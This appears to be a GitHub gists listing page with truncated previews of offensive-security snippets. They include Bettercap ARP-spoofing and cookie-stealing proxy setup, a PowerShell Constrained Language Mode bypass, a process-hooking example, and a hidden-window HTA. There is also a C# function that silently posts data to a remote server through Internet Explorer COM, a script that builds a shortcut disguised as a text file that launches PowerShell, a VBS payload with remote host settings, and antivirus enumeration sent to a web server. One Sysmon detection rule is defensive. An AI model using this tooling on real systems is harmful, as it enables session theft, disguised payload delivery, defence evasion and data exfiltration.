leoloobeek’s gists

leoloobeek / responder-n-cookies.js

Created March 1, 2018 16:41

Bettercap Responder injection and cookie stealer

	// Code mashed together from here: https://github.com/bettercap/caplets/
	// Intended to use with Bettercap v2: https://github.com/bettercap/bettercap
	//
	// net.probe on
	// sleep 1
	// net.probe off
	// set arp.spoof.targets <TARGETS>
	// set https.proxy.script /root/caplets/responder-n-cookies.js
	// set http.proxy.script /root/caplets/responder-n-cookies.js
	// https.proxy on

leoloobeek / Remove-ConstrainedLanguageMode.ps1

Created February 14, 2018 17:35 — forked from jschell/Remove-ConstrainedLanguageMode.ps1

-function Remove-ConstrainedLanguageMode {
-<#
-.Synopsis
-Set language mode for a powershell session to 'full'.
-.Description
-Set language mode for a powershell session to 'full'. Leverages 'InstallUtil'
-and the Microsoft.Diagnostics.Runtime.dll resouces to adjust in memory values.
-.Example

leoloobeek / Injectable.cpp

Created December 19, 2017 18:37 — forked from anonymous/Injectable.cpp

Simple UserMode Hook Example

	#include <windows.h>
	#include <stdio.h>


	FARPROC fpCreateProcessW;
	BYTE bSavedByte;

	// Blog Post Here:
	// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
	// tasklist \| findstr explore.exe

leoloobeek / sysmon-config.xml

Created December 19, 2017 17:36

Sysmon log loading of ieproxy.dll for detecting IE COM abuse

	<!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS-->
	<!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus-->
	<ImageLoad onmatch="include">
	<ImageLoaded condition="end with">ieproxy.dll</ImageLoaded>
	</ImageLoad>
	<ImageLoad onmatch="exclude">
	<Image condition="is">C:\Program Files (x86)\Internet Explorer\iexplore.exe</Image>
	<Image condition="is">C:\Program Files\internet explorer\iexplore.exe</Image>
	<Image condition="is">C:\Program Files (x86)\Internet Explorer\ielowutil.exe</Image>
	<Image condition="is">C:\Program Files\internet explorer\ielowutil.exe</Image>

leoloobeek / example.hta

Last active July 24, 2023 00:39

HTA example for

	<html>
	<head>
	<script language="JScript">
	// HTA skeleton taken from https://github.com/zerosum0x0/koadic
	window.resizeTo(1, 1);
	window.moveTo(-2000, -2000);
	window.blur();

	try
	{

leoloobeek / ie_com.cs

Last active November 4, 2024 16:36

InternetExplorer.Application PoC's

	// sample function that takes in a destination server, POST data, and custom HTTP request headers
	private string SendData(string dst, byte[] postData, string customHeaders)
	{
	Type com_type = Type.GetTypeFromCLSID(new Guid("0002DF01-0000-0000-C000-000000000046"));
	object IE = Activator.CreateInstance(com_type);

	object[] falseArr = new object[] { false };
	object[] trueArr = new object[] { true };
	com_type.InvokeMember("Visible", System.Reflection.BindingFlags.SetProperty, null, IE, falseArr);
	com_type.InvokeMember("Silent", System.Reflection.BindingFlags.SetProperty, null, IE, trueArr);

leoloobeek / LNK-creator.ps1

Created December 6, 2017 17:25

Create LNK file

	$Shell = New-Object -ComObject ("WScript.Shell")
	$ShortCut = $Shell.CreateShortcut($env:USERPROFILE + "\Desktop\MaliciousLink.lnk")
	$ShortCut.Arguments = " -W 1 -command ....."
	$ShortCut.TargetPath = "powershell"
	$ShortCut.IconLocation = "C:\Windows\System32\notepad.exe, 0";
	$ShortCut.Description = "Type: Text Document";
	$ShortCut.Save()

leoloobeek / Command.vbs

Created November 6, 2017 23:14 — forked from staaldraad/Command.vbs

Using VBSMeter with Ruler

	Call X()
	End Function

	Dim RHOST: RHOST = "x.x.x.x"
	Dim RPORT: RPORT = "8999"

	Function Base64ToStream(b)
	Dim enc, length, ba, transform, ms
	Set enc = CreateObject("System.Text.ASCIIEncoding")
	length = enc.GetByteCount_2(b)

leoloobeek / Encoder.vbs

Created October 31, 2017 17:35

	Option Explicit

	dim oEncoder, oFilesToEncode, file, sDest
	dim sFileOut, oFile, oEncFile, oFSO, i
	dim oStream, sSourceFile

	set oFilesToEncode = WScript.Arguments
	set oEncoder = CreateObject("Scripting.Encoder")
	For i = 0 to oFilesToEncode.Count - 1
	set oFSO = CreateObject("Scripting.FileSystemObject")

leoloobeek / enumAV.vbs

Last active June 6, 2023 08:45

Enumerate AV and send to web server (based on https://blog.netspi.com/getting-started-wmi-weaponization-part-2/)

	Function Base64Encode(sText)
	dim DM, EL
	Set DM = CreateObject("Microsoft.XMLDOM")
	Set EL = DM.createElement("tmp")
	EL.DataType = "bin.base64"
	EL.NodeTypedValue = sText
	Base64Encode = EL.Text
	End Function
	Set wmiObj=GetObject("winmgmts:{impersonationLevel=impersonate}\\.\ROOT\SecurityCenter2")
	Set items = wmiObj.ExecQuery("Select * from AntiVirusProduct")

Leo Loobeek leoloobeek